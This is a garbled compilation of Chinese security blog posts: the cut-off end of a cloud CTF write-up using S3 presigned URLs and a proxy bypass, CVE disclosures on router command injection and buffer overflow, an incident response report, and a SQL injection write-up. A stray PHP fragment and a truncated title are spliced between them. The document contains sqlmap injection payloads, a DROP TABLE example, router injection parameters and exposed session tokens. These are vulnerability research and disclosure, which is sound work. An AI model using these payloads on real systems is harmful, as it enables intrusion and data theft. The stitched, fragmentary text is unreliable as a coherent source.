"AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",    "Account": "092297851374",    "Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279" } 然后我们查看对应的策略 root@hcss-ecs-0d0e:~# aws iam simulate-principal-policy \  --policy-source-arn arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 \  --action-names s3:ListBucket s3:GetObject s3:PutObject s3:DeleteObject s3:ListAllMyBuckets \  --profile challenge01 An error occurred (AccessDenied) when calling the SimulatePrincipalPolicy operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: iam:SimulatePrincipalPolicy on resource: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/ root@hcss-ecs-0d0e:~# 可惜这个用户没有权限,我们直接列 root@hcss-ecs-0d0e:~# aws s3 ls --profile challenge01 An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action 没有列出桶的权限,不过我们知道桶的名称 root@hcss-ecs-0d0e:~# aws s3 ls s3://challenge01-470f711/ --recursive --profile challenge01 2025-06-19 01:15:24         29 hello.txt 2025-06-17 06:01:49         51 private/flag.txt 读取文件绕过 尝试读取的时候可惜 root@hcss-ecs-0d0e:~# aws s3 cp s3://challenge01-470f711/private/flag.txt - --profile challenge01 download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden 没有读的权限 我们还是得查查存储桶的策略 root@hcss-ecs-0d0e:~# aws s3api get-bucket-policy --bucket challenge01-470f711 --profile challenge01 {    "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Deny\",\"Principal\":\"*\",\"Action\":\"s3:GetObject\",\"Resource\":\"arn:aws:s3:::challenge01-470f711/private/*\",\"Condition\":{\"StringNotEquals\":{\"aws:SourceVpce\":\"vpce-0dfd8b6aa1642a057\"}}}]}" } 限制只有指定 VPC 端点(VPCe) 的请求才可以访问,否则即使有权限也会被拒绝 怎么办呢 聪明的 GPT 给出了答案 也让我想起了 proxy root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://s3.amazon aws.com/challenge01-470f711/private/flag.txt" HTTP error: 403 Forbiddenroot 但是结果是还是被阻止了 这里可能 proxy 不在 VPC,不过我们可以验证一下 但是刚刚都读取成功了,大概率是在的 没办法,只能寻找好朋友的帮助了 首先需要了解一下 SigV4 签名,在 AWS 中访问私有资源(如 S3 对象)时,AWS 要求你的请求是已签名的 参考https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html 默认情况下,所有 Amazon S3 对象都是私有的,只有对象拥有者才具有访问它们的权限。但是,对象拥有者可以通过创建预签名 URL 与其他人共享对象。预签名 URL 使用安全凭证来授予下载对象的限时权限。可以在浏览器中输入此 URL,或者程序使用此 URL 来下载对象。预签名 URL 使用的凭证是生成该 URL 的 AWS 用户的凭证。 我们需要使用预签名 https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/using-presigned-url.html创建预签名 URL 时,必须提供您的安全凭证,然后指定以下内容: 一个 Amazon S3 存储桶 对象键(如果将在您的 Amazon S3 存储桶中下载此对象,则一旦上传,这就是要上传的文件名) HTTP 方法(GET 用于下载对象、PUT 用于上传、HEAD 用于读取对象元数据等) 过期时间间隔 按照这个我们直接运行命令生成如下的签名 root@hcss-ecs-0d0e:~# aws s3 presign s3://challenge01-470f711/private/flag.txt --profile challenge01 --expires-in 3600 https://challenge01-470f711.s3.amazonaws.com/private/flag.txt?AWSAccessKeyId=ASIARK7LBOHXEXWELX36&Signature=WT7zPvNKLF6zr%2Fi4%2FGvqpJHoZzs%3D&x-amz-security-token=IQoJb3JpZ2luX2VjELb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIC6AH%2B4pBi%2BUXSj7Xih2aQvR3LmiwIQ8TeL%2BO6Gv2iotAiEAi6CjgMDpky 然后我们带着这个签名 但是内容一直被截断,很烦,我直接 URL 全编码后再次去访问 root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=%68%74%74%70%73%3a%2f%2f%63%68%61%6c%6c%65%6e%67%65%30%31%2d%34%37%30%66%37%31%31%2e%73%33%2e%61%6d%61%7a%6f%6e%61%77%73%2e%63%6f%6d%2f%70%72%69%76%61%74%65%2f%66%6c%61%67%2e%74%78%74%3f%41%57%53%41%63%63% The flag is: ******** 成功 总结 总的来说,真的是很有实战意义的一次挑战,感觉整个过程前因后果是非常连贯的 获取桶名称-> 不能匿名访问->获取配置信息- 元数据 不能直接访问-走代理 mapping 泄露 proxy 元数据绕过 IMDSv2 安全机制 获取用户信息,查看权限 列取文件位置 vpc 限制,来联想 proxy 403,考虑预签名 URL 授予 行云流水
;\r\n            $old_pos = $pos + 1;\r\n       }\r\n        $clean .= substr($db_string, $old_pos);\r\n        $clean = trim(strtolower(preg_replace(array('~\\s+~s' ), array(' '), $clean)));\r\n \r\n        if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'\"')!== FALSE\r\n        OR strpos($clean,'$s$s
B-Link X26路由器Web服务风险挖掘
0.前言 在对B-Link X26 V1.2.8 路由器固件进行安全审计时,发现其在处理特定输入的过程中存在命令注入溢出漏洞。 该漏洞的成因在于程序未对用户传入的数据进行严格的合法性校验,直接拼接进入系统命令,攻击者可以借此注入并执行任意代码。这种情况不仅可能导致设备运行异常,还可能在某些条件下使攻击者获得对路由器的完全控制。 通过验证与复测确认,该漏洞风险等级较高,利用门槛低,极易被远程攻击者滥用,对设备本身以及所处网络的安全性构成严重威胁。 目前,我已将漏洞细节、复现过程与修复建议整理成完整报告,并通过官方渠道提交给厂商及 CVE 分配机构。 该漏洞已被收录,编号为 https://www.cve.org/CVERecord?id=CVE-2025-9580。 1.漏洞概述 B-Link X26路由器 V1.2.8版本存在命令执行漏洞,触发该漏洞需要进行一次授权,当攻击者获取授权之后可以通过发送恶意的HTTP POST请求即可触发该漏洞。 2.漏洞详情 https://www.b-link.net.cn/product_29_174.html官网下载完固件之后,使用binwalk进行解包。 这个固件解包出来后,比起之前其他我挖过其他消费级路由器也有很大不同。 首先它没有httpd文件,解包后习惯性地在 bin/ 或 sbin/ 目录中寻找 httpd 可执行文件,因为在大多数消费级或企业级路由器中,Web 管理界面往往依赖 httpd 作为核心服务。但在 B-Link X26 的固件中并没有找到 httpd,这使得常规思路无法直接套用。 接下来尝试在 Web 资源目录下寻找脚本文件,一般来说企业级路由器会包含大量 .php 脚本,比如 DCME-720 ,消费级路由器则可能依赖 .cgi 文件来处理。 后台逻辑,但是在 B-Link X26 中,.cgi 文件数量极少,仅发现了与上传相关的 upload.cgi。这与以往分析的 DCME、Wavlink 固件有明显不同:后者解包后能看到一整套配置、认证、状态查询相关的脚本,而在 X26 上,脚本层几乎不存在。 既然缺少传统的 httpd,.cgi 文件也很少,说明该固件的 Web 服务逻辑并未像常见路由器那样拆分到大量脚本中,那么剩下的可能性,要么Web 服务被嵌入在某个非典型命名的二进制中,或者是路由器采用了轻量级嵌入式 Web 服务器。 带着这个假设,再次对 bin/ 目录进行排查,可以发现一个名为 goahead 的可执行文件。 通过字符串检索与反汇编分析,可以在 goahead 中发现大量 Web 服务相关的函数调用,比如 websGetVar、HTTP 请求处理逻辑,并且能定位到 system()、popen() 等命令执行函数。 所以说B-Link X26 的 Web 管理界面核心逻辑全部集成在 goahead 内部,而不是依赖外部的 .cgi 或 .php 文件。 回到正题,当请求路径为set_hidessid_cfg时候会进入sub_44F9F4函数的处理逻辑。 可以看到,这里从 HTTP 请求里取出参数 type 和 enable,a1 通常是 webs_t 结构(goahead 的请求上下文),websGetVar 用来提取请求参数。 如果没取到,返回默认值 "" 然后又通过创建json对象的格式将参数打包成json对象传入到了bs_SetSSIDHide函数中,从名字可以看出来这是修改隐藏 SSID的配置的函数。 {  "type":   "<用户输入的type参数>",  "enable": "<用户输入的enable参数>" } 那么这里就会有一些问题,type和enable完全是由用户输入的。 没有过滤,type 和 enable 原样地放进 JSON。 关键在于 bs_SetSSIDHide 的实现,如果说它内部调用了 system()/popen() 来修改无线配置,比如说执行 iwpriv、uci set 等命令,就可能引发命令注入。 但是如果只是直接操作配置文件/内存结构,则风险较小。 所以接着看 bs_SetSSIDHide 函数,但是这里有个问题,就是它是个外部函数,无法在gohead里面直接找到,这说明该函数并不在当前二进制中实现,而是来自外部库。 所以为了找到其具体的实现逻辑,首先检查了 goahead 的动态依赖库。 readelf -d goahead | grep NEEDED 该命令用于列出 goahead 这个程序运行时所必需的所有动态链接库,共享库文件。 查出了 goahead 运行时依赖的动态库,包括:libc.so.0,libnvrm.so.0,libshare.so.0之类。 既然 bs_SetSSIDHide 在 goahead 内部没定义,那么它必然来自这些依赖库之一。 根据经验,libshare.so.0 这个命名,share → 常常封装设备配置、WLAN、系统参数等接口,就可以合理怀疑这个函数实现藏在里面。 我们也可以验证一下猜测 nm -D libshare.so.0 | grep bs_SetSSIDHide 该命令用于检查名为 bs_SetSSIDHide 的函数是否存在于共享库 libshare.so.0 的动态符号表中,从而确认该函数是否可以被其他程序调用。 0002b7f4是函数 bs_SetSSIDHide 在 libshare.so.0 里的偏移地址,如果库被加载到内存,这个地址会加上库的基址,得到函数的真实运行时地址。 T表示该符号在 Text 段,也就是代码段中被定义,说明它是一个函数。字母 T 是大写的,这表示它是一个全局符号,意味着这个函数可以被链接到这个库的其他程序或库文件调用。如果是小写的 t,则表示它是一个内部函数,只能在库内部使用。 如果是 U,就表示 undefined,也就是未定义,只是引用。 bs_SetSSIDHide,就是符号名,也就是函数的名字,这说明 bs_SetSSIDHide 真正的实现就在 libshare.so.0 里。 这张图的输出证明了 bs_SetSSIDHide 在 libshare.so.0 中确实有定义(函数实现),地址偏移是 0x2b7f4,因此在 goahead 里调用的就是这个库函数。 所以按理来说我们应该去逆向分析libshare.so.0 但是由于其中 libshare.so.0 属于 共享对象名,其作用是给运行时动态链接器提供一个稳定的接口名称。 而 libshare-0.0.26.so 才是库的真实实现文件。通常情况下,libshare.so.0 会通过符号链接指向 libshare-0.0.26.so 所以直接处理 libshare-0.0.26.so就好,因为它包含了完整的符号信息与函数实现。 可以发现bs_SetSSIDHide将传入的两个json格式的对象进行了取值,并且接下来存在一个判断,对type取值为sethide2绕过这个if分支。 这里会发现对v20进行了命令执行,而v20是通过v7拼接而来的,而v7往上翻就是取到的值enable,也就是一开始传入的值。 那么这里就存在一个libc函数相关的命令执行。 3.漏洞验证 淘了一台真机,直接省事,懒得去仿真了(其实是仿真不起来....),真机才是硬道理! 然后去访问3.txt文件就会发现已经注入成功了。
应急响应:某网站被挂非法链接
事件概况 最近应急,遇到一起官网非法链接事件。如下图所示,使用百度搜索引擎语法site:www.网站域名 搜索某关键字,会出现一堆结果。并且只有百度搜索引擎可以搜索出来,其他的都没有记录。 挨个点开,都是404,最近的一条是8.15的。 到现场后,先建议工作人员分批进行用户反馈,期望百度能够尽快删除搜索结果,将负面影响降低到最小,之后着手应急。 既然是挂链接,又是404,说明在百度爬虫收录之后,链接原文已经被删除。作案者相当谨慎,估计是下次接到活儿还想如法炮制。现场资产情况是: Windows Server 2016 IIS 10 Microsoft Sql Server 2008 WAF 排查角度有两个,一是服务器被入侵了,这是最糟糕的结果,二是网站本身存在漏洞,作案者直接操作网站后台发的文。 上机排查 登录服务器,看到桌面还算整洁,与运维人员核实,安装的软件也都正常。查看服务器上仅有的安全防护措施——卡巴斯基,未发现活动威胁,情况还算可以。 翻看卡巴斯基防护日志,并没有异常行为告警,只有一条漏洞利用防御的记录,还是告警的D盾。 将D盾拿上服务器,逐一翻看一遍,并没有发现异常,IIS模块都是正常运行。 排查到这里基本可以排除服务器被入侵的可能了。然后,有效的安全设备仅有一台WAF,登录上去看看与该网站相关的日志。 看到很多发文异常的告警,但仅仅是告警,没有阻断,估计是不允许影响业务。 从这条告警来猜测,网站有可能存在编辑器漏洞,kindeditor。但也就这些告警,没有参考价值,因为响应结果记录为空。 既然没有入侵服务器,没有植入马儿,那就还是通过网站操作来发布的文章。所以下面的排查思路是跟踪文章的发布和删除时间,以及发布者账号、登录IP等等。 联系软件开发公司的人,询问文章删除逻辑: 顿时感觉这套系统开发的好随意,文章说删就删了,真的删了,没有给追踪溯源留下一丝余地。接下来怎么办?看看web日志吧。 web日志 web日志分为两种,一种以ex开头,记录的是爬虫行为,文件普遍偏小,另一种以nc开头,记录的是网站的访问日志,文件普遍偏大。 根据“Baiduspider”关键字搜索百度爬虫的时间。 302太多,只需要200的,并且加上大概的时间范围: 记录还是太多。询问开发人员有没有url白名单,不出所料,回复依然是“不知道”。如此一来,从百度收录时间入手排查的思路就断了。然后怎么办?看看访问日志吧,根据访问数量筛选一下。 果然,有一个IP的访问数量特别多,针对这个IP筛选一下。 访问时间大多在凌晨一两点,且url多数和kindeditor有关,着实可疑。然后根据这个IP查一下登录账号: 只有寥寥几条,应该是只供页面展示用,而且不支持下一页查询。既然开发不给力,那就只有自己登录数据库查询了。 Database 登录之后翻看表空间,首先看到一张User表,本能地打开。看到loginPwd列,自然是存储的密码,不过,再仔细瞧瞧这些记录,16位的MD5啊! 继续翻看发现,怎么有几个相同的MD5值?难不成是初始密码还没改。 把这几个相同的MD5拿出来解密一下: 解出来了,又是一个MD5,再次解密: 出来了,弱口令,111。用户密码的加密规则是两次MD5处理。以这个密码为查询条件筛选一下用户,好家伙,总共6个人都是用的这个密码。 在其中随便找个账号查询其近两个月的登录记录: 果然,8.11登录过,而且是外省地址。回看百度爬虫收录时间是8.15,从发文到被爬取用了4天时间,符合爬虫效率。 之后再去除源地址转换、出口IP地址、IPv6地址,筛选所有弱口令账号近三月的登录日志,共53条。 经分析发现其中一个账号存在多地点多IP登录的情况,且登录IP中有多个为恶意IP,下图是其一。 用其账号登录网站后台管理系统,瞬间一目了然: 账号权限包括发布文章、修改文章、删除文章......一应俱全。 总结两点 说一千道一万的是弱口令,屡禁不止的是弱口令,明知故犯的还是弱口令。 应急是个综合性很强的活儿,有时候不需要多么高超的技术,像这次,我就当了一把系统运维和数据库运维。
Tenda AC20路由器缓冲区溢出漏洞分析
1.前言 七月底,在对 Tenda AC20 路由器 进行安全分析时,发现其固件在处理特定输入时存在 缓冲区溢出漏洞。 该漏洞源于程序在拷贝用户输入时缺乏有效的边界检查,攻击者可以通过构造恶意请求触发溢出,从而导致系统崩溃,甚至在某些场景下获得更高权限,进而完全控制设备。 经过多次验证与测试,确认该漏洞风险较高,对设备的安全性影响严重。 我整理了一份详细的技术报告,内容包括漏洞成因、复现方法及修复建议,并通过正规渠道提交给厂商及 CVE 分配机构。 近日,该漏洞已被正式收录,编号为 https://nvd.nist.gov/vuln/detail/CVE-2025-8939 。 2.漏洞概述 Tenda AC20 路由器被发现存在缓冲区溢出漏洞。攻击者可以通过向某些路径发送特制的 HTTP POST 请求来触发此漏洞,从而可能导致拒绝服务 (DoS) 攻击,甚至远程代码执行 (RCE)。 3.漏洞细节 AC20 路由器的最新固件可从腾达官网下载:AC20 升级软件 - https://www.tenda.com.cn/ 固件可以使用以下在线工具解压:https://zhiwanyuzhou.com/multiple_analyse/firmware/ 或者直接使用binwalk解包也是可以的,获得以下文件: 我们要找到/squashfs-root/bin/httpd 二进制文件。 因为httpd就是Tenda 路由器的 Web 管理后台进程,大部分家用路由器,包括 Tenda都提供一个 Web 管理界面,这个界面其实就是由路由器内部的一个小型 Web 服务器httpd提供的。 当用户在浏览器里访问路由器后台时,请求会被发送到路由器本地运行的 httpd 服务,这个二进制文件负责接收、解析 HTTP 请求,比如说登录、修改 Wi-Fi 密码、固件升级等,然后调用底层的系统函数或配置接口。 由于 httpd 要解析用户提交的数据,如果代码没有做好边界检查,就可能导致缓冲区溢出、命令注入等问题,这也是为什么路由器的很多漏洞,很常见的溢出、注入、未授权访问都集中在 httpd 这个二进制文件里。 解包文件里面还有dhttpd二进制文件,它与httpd最大的不同就在于httpd是Tenda 的主后台 Web 管理进程,就是能够对用户可见的路由器后台,而dhttpd则会用来跑一些非核心但需要 Web 接口的功能,像什么诊断、子模块或者是其他特定功能。 在Tenda AC 系列里,Web 管理界面并没有用第三方服务器,比如lighttpd,或者是boa之类的,而是厂商自己写的 httpd 二进制文件。 那么,所有 HTTP 请求直接由这个 httpd 处理,路由器后台的逻辑,像什么 Wi-Fi 配置、系统管理之类的也都在里面实现,所以漏洞就会出现在 httpd 本身。 换句话说,Tenda 的 httpd 本身就是 Web 服务 + 业务逻辑的二合一。 回到正题,我们在httpd文件中发现函数fromSetWifiGusetBasic有缓冲区溢出的风险。 可以看到这里的函数fromSetWifiGusetBasic,该函数会获取shareSpeed的值,然后将其复制到Var数组中,且没有进行长度检查,从而导致缓冲区溢出漏洞。 交叉引用后再往上翻就会发现它其实是有个前提条件的,那就是请求路径必须是WifiGuestSet。 这行代码的作用,是把 WifiGuestSet 这个字符串与具体的处理函数 fromSetWifiGuestBasic 绑定在一起。换句话说,只要有请求命中 WifiGuestSet,设备就会调用对应的函数去执行。 所以我们Poc的请求路径就应该是POST /goform/WifiGusetSet HTTP/1.1 。 路径前加 /goform/ 是 Tenda 固件的惯用套路,结合代码逻辑,基本可以确认。 4.漏洞验证 确定漏洞点之后,我们先把固件跑起来,模拟一个真实运行环境,更好让我们观察是否因为栈溢出而产生崩溃页面 找到 /bin/httpd 文件。要模拟环境,使用以下命令: sudo chroot ./ ./qemu-mipsel-static ./bin/httpd 等一会之后,直接上浏览器输入对应IP地址 192.168.102.145,就可以进入到AC20路由器页面。 跑起来之后,我们使用burpsuite进行一个发包测试,发送一堆垃圾数据到sharedSpeed。 可以发现192.168.102.145/main.html出现了崩溃信息。 而从终端也观察到分段错误,确认发生了栈溢出,也就是shareSpeed这里存在一个缓冲区错误。
某路由器二进制漏洞挖掘过程
1.前言 半个月前,我在对Wavlink品牌WL-NU516U1型号路由器进行安全测试时,发现其管理界面存在一处命令注入漏洞。 该漏洞源于系统对用户输入过滤不严,攻击者可通过特制的HTTP请求在设备中执行任意系统命令,从而完全控制设备。 经过深入分析与验证,确认该漏洞具有高危害性,可导致设备被完全接管。 我写了详细的技术报告,包括漏洞成因、利用方式和修复建议,并通过正规渠道向Wavlink厂商及CVE机构提交。 近日,该漏洞已正式获得CVE编号CVE-2025-9149。 https://www.wavlink.com/en_us/index.html2.漏洞概述 Wavlink是一家专注于网络设备和通信解决方案的公司,提供优质的路由器、扩展器和网络配件。其下的WAVLINK-NU516U1型号的固件,功能用于提供打印机服务器网卡,其管理后台存在命令注入漏洞,允许攻击者完成os命令执行。 固件下载地址: https://docs.wavlink.xyz/Firmware/fm-516u1/ 3.漏洞详情 对固件binwalk -Me [固件位置] 解包 binwalk -Me WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin 获得其解包文件,而我们要找到/squashfs-root/etc/lighttpd/www/cgi-bin中的wireless.cgi二进制文件, 它的位置在 cgi-bin目录下,它是Lighttpd Web服务器的一个后端CGI程序。 当用户通过浏览器访问路由器的管理界面,比如说随便点击“无线设置”页面提交表单时,Lighttpd Web服务器会接收到这个HTTP请求。 Web服务器根据请求的URL,判断需要由哪个CGI程序来处理,对于无线设置相关的请求,它就会找到并执行这个 wireless.cgi文件。 wireless.cgi程序开始运行,它解析HTTP请求中的数据,比如你提交的表单项,然后可能会调用其他系统工具,如内置的 iwconfig、wpa_supplicant,或者直接读写配置文件, /etc/config/wireless来执行具体的无线网络配置更改。 处理完毕后,wireless.cgi会生成一个HTTP响应,比如一个成功响应的HTML页面,并将其输出到标准输出。 Web服务器捕获到这个输出,并将其打包成完整的HTTP响应,发送回给用户的浏览器。 与用户浏览器直接进行网络通信的是 Lighttpd Web服务器。 wireless.cgi是一个被Web服务器调用的后台程序,负责处理具体的业务逻辑。它是间接与外界通信的关键环节。 所以,这个wireless.cgi虽不直接与外界进行通信,但是它却负责处理用户从外部输入的数据,比如说HTTP请求参数,如果它对这些输入的处理不当,例如没有经过严格过滤就直接拼接成系统命令,就非常容易产生命令注入、缓冲区溢出等漏洞。 找到之后,拿IDA打开,观察其函数,先看main函数,首先用了fgets函数获取标准输入,拿到了用户提交的page参数值。 sub_405EA8函数将page参数值设置为GuestWifi,会跳转进入sub_4032E4函数。 sub_4032E4函数内,获取了Guest_ssid参数值,该值可以post传参可控,而且这段代码是典型的“功能开关”设计,程序在处理HTTP请求参数时,会依次读取多个配置值。 从参数名可以推断,guestEn代表 “Guest Enable”,即访客网络功能的总开关,代码首先获取这个开关的值 (v2 = sub_405EA8("guestEn", a1,0));,并将其保存到变量 v4中,而Guest_ssid是依赖项,Guest_ssid是访客网络功能下的一个子配置项,它的逻辑处理必然依赖于总开关 guestEn是否开启。 随后Guest_ssid参数值被传入sub_407504函数内。 而往上看会发现,必须v4为1,才会去执行sub_407504函数,否则就会跳到label_11的地方去,而v4在往上看则能够发现是字符串guestEn的值。 所以构造poc的时候,必须将guestEn设置为1 而在sub_407504函数中,在其中拼接给v8变量,交给system函数执行,产生了命令注入。 所以我们只需要构造page=GuestWifi&guestEn=1&Guest_ssid=1.txt就可以产生命令注入漏洞。 4.漏洞验证 首先使用工具将Wavlink模拟起来,这里选择了FrimAE sudo ./run.sh -r Wavlink /home/fuzz/Wavlink/WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin 检查名为"httpd"的进程是否正在运行 设备正在运行 lighttpd Web服务器,其配置文件位于 /etc/lighttpd/lighttpd.conf 在浏览器打开F12,观察其Cookie,好帮助我们接下来发包的时候顺利。 接下来进行一个发包测试,将数值写入到poc.txt文件中,观察Wavlink路由器文件是否会出现poc.txt,且里面是否有我们注入的内容。 可以发现已经成功注入进去了,证明这里确实存在命令注入漏洞。
在线旅游及旅行管理系统项目SQL注入
1.前言 之前在网上随便逛逛的时候,发现一个有各种各样的PHP项目的管理系统,随便点进一个查看,发现还把mysql版本都写出来了,而且还是PHP语言。 https://itsourcecode.com/free-projects/php-project/online-tours-and-travels-management-system-project-in-php-and-mysql/那这可能存在sql注入漏洞,所以代码审计了一下,并上报了CVE,现在编号下来了 CVE-2025-9008,CVE-2025-8993,于是公开发现过程。 2.漏洞详情 1.1 CVE-2025-9008 下载其源代码之后,对“在线旅游及差旅管理系统”进行安全审查期间,发现“/admin/sms_setting.php””文件中存在一个高危SQL注入漏洞。 $sql = "UPDATE sms_setting SET uname='".$_POST['uname']."',    password='".$_POST['password']."',    sender_id='".$_POST['sender_id']."'       WHERE id='1'"; 这段sql代码一眼望过去就是,直接将用户通过 $_POST超全局数组提交的数据,未经任何过滤和转义,就拼接到了 SQL 查询字符串中,那这肯定就存在sql注入漏洞。 因为sql 注入的核心在于“混淆了代码和数据”,用户的输入本应被视为普通数据,但由于直接拼接,攻击者可以精心构造输入,让其成为 sql代码的一部分,从而篡改原SQL语句的意图。 比如说在密码 password 输入框中,攻击者输入了:' OR '1'='1 那么,最终拼接出来的 SQL 语句会变成: UPDATE sms_setting SET uname='hacker',  password='' OR '1'='1', sender_id='fake_sender' WHERE id='1' 这条语句的含义被彻底改变了。password字段的赋值不再是一个简单的字符串,而是变成了一个逻辑判断 '' OR '1'='1'。这个判断的结果是 永远为真。 更高级的攻击者甚至可以输入类似 '; DROP TABLE users; --的内容,从而执行任意sql命令,比如说删除数据库表,导出数据库数据之类的操作。 payload --- Parameter: uname (POST)   Type: boolean-based blind   Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause   Payload: uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ&password=111111111111111111&sender_id=1111111111111111111&update=   Type: error-based   Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)   Payload: uname=111111111111' AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7178627171,(SELECT (ELT(9139=9139,1))),0x716a787171)) AND 'CAQx'='CAQx&password=111111111111111111&sender_id=1111111111111111111&update= --- 我们也可以使用一些工具来进行查看,比如说sqlmap。 sqlmap -u "http:/http://127.0.0.1/code/admin/sms_setting.php" --data="uname" --batch --dbs 通过 HTTP POST 请求 提交的、名为 uname的表单字段,选择了布尔盲注的攻击类型。 布尔盲注这是一种高级注入技术,用于当网站不会直接显示数据库错误信息,并且查询结果也不会直接返回到页面上的情况。攻击者通过向数据库发送一个“问题”,然后根据页面返回的细微差异,一般来说都是通过观察页面是否可以正常加载来判断。 而图中的payload uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ 111111111111:这是一个随机的无效用户名,目的是让原查询的uname匹配不到结果。 RLIKE: 这是MySQL的正则表达式匹配操作符,一般用它来触发一个条件判断。 (CASE WHEN (2321=2321) THEN ... ELSE ... END): 这是一个SQL的CASE条件语句。这里它判断一个永恒成立的条件 2321=2321 如果条件为 True,那么整个RLIKE语句会匹配用户名111111111111,页面可能会返回一个找不到用户名存在的状态。 如果条件为 False,比如说什么1=2之类的常见语句,那么CASE语句会返回一个错误的结果,导致RLIKE匹配失败,页面可能会返回一个完全空白的状态。 把2321=2321换成 (SELECT COUNT(*) FROM information_schema.schemata) > 5),观察页面的反应,盲猜出数据库名称出来。 所以明确了这里存在sql注入漏洞。 1.2 CVE-2025-8993 接着,在“/admin/expense_report.php”文件中又发现了一个严重的SQL注入漏洞。该漏洞源于对“from_date”参数的用户输入验证不足,使得攻击者能够注入恶意SQL查询。因此,攻击者可以未经授权访问数据库,修改或删除数据,并获取敏感信息。 这段代码的核心逻辑其实就是,首先检查用户是否点击了提交按钮if (isset($_POST['submit'])),然后就去获取用户表单中输入的起始日期$from_date和结束日期$to_date,连接数据库之后用一条 sql 语句,查询 expense表中所有在用户指定日期范围内创建的记录。 而且还用了PDO,PDO最重要的就是预处理语句,从根本上防御sql注入,但是又没使用好。 它将 sql 语句的结构 和 数据 分开发送给数据库服务器处理。 比如说先把一个带“占位符”的 sql 模板发送给数据库,数据库会解析并编译这个模板,确定它的结构。 $stmt = $pdo->prepare("SELECT * FROM users WHERE name = ? AND pwd = ?"); 然后当执行阶段的时候,再把真实的数据,比如说什么用户输入的用户名和密码,发送给数据库,数据库只会把这些数据当正常数据值使用,不会把它当成 SQL 代码来解析。 这样就避免了,即使用户输入了恶意的数据比如说什么常见的 ' OR '1'='1,它也只会被当作一个普通的字符串字面值去进行匹配,而不会改变原sql语句的逻辑。从而彻底杜绝了 SQL 注入。 但是这条sql语句虽然也使用了PDO,但是它把用户要输入的from_date的值给它拼接到sql字符串了,代码和字符串直接拼接,完全绕过了PDO的安全保护,让PDO形同虚设。 $stmt = $conn->prepare("SELECT * FROM expense where created_date between '".$_POST['from_date']."' and '".$_POST['to_date']."' "); $_POST['from_date'] 和 $_POST['to_date'] 没有任何过滤/转义,直接拼接到了 SQL 中。 攻击者只要在表单输入里构造恶意 payload,就能注入 sql。 虽然用了 PDO,但没有真正用到参数化查询。 $conn->prepare(...) 本身可以防止注入,但是这里不知道怎么回事,开发者依然把变量拼接到了 sql 里,相当于没起作用。 所以漏洞源于“from_date”参数的用户输入验证不足,导致攻击者能够注入恶意sql查询。 payload --- Parameter: from_date (POST)   Type: error-based   Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)   Payload: from_date=0111-11-11' AND GTID_SUBSET(CONCAT(0x71716a6271,(SELECT (ELT(8748=8748,1))),0x7162707071),8748)-- OwaD&to_date=0001-01-11&submit=   Type: time-based blind   Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)   Payload: from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vyOX&to_date=0001-01-11&submit= --- 用sqlmap进行检测 sqlmap -u "http:/http://127.0.0.1/code/admin/expense_report.php" --data="from_date" --batch --dbs sqlmap 识别到 POST 参数 from_date 存在注入漏洞。 测试了多种方式,包括 基于报错注入 和 基于时间的盲注 ,都确认有效。 所谓的错误型注入,简单点说就是通过故意触发数据库错误,从而让数据库在报错信息中直接返回查询结果。 还有时间盲注 ,字面意思也就是通过让数据库执行延时函数,比如说什么 SLEEP(5),然后根据页面响应时间来判断注入的sql是否有效。 from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vy0X&... 如果注入成功,数据库将会执行 SLEEP(5)命令,导致页面响应时间延迟5秒。sqlmap就会根据这个延迟就能判断出漏洞存在。 而且sqlmap 成功获取了数据库名:information_schema,这是系统库,每个cms都会有的。 tour1,这个才是该cms特有的数据库名称。 所以明确了POST参数的from_date存在注入漏洞。 3.建议修复 使用准备好的语句和参数绑定:准备好的语句可以防止 SQL 注入,因为它们将 SQL 代码与用户输入数据分离。使用准备好的语句时,用户输入的值将被视为纯数据,不会被解释为 SQL 代码。 输入验证和过滤:严格验证和过滤用户输入数据,确保其符合预期的格式。 最小化数据库用户权限:确保用于连接数据库的账户具有必要的最低权限。避免使用具有高级权限的账户,比如“root”或“admin”进行日常操作。 定期安全审计:定期进行代码和系统安全审计,及时发现并修复潜在的安全漏洞。
Android四大组件安全漏洞实战
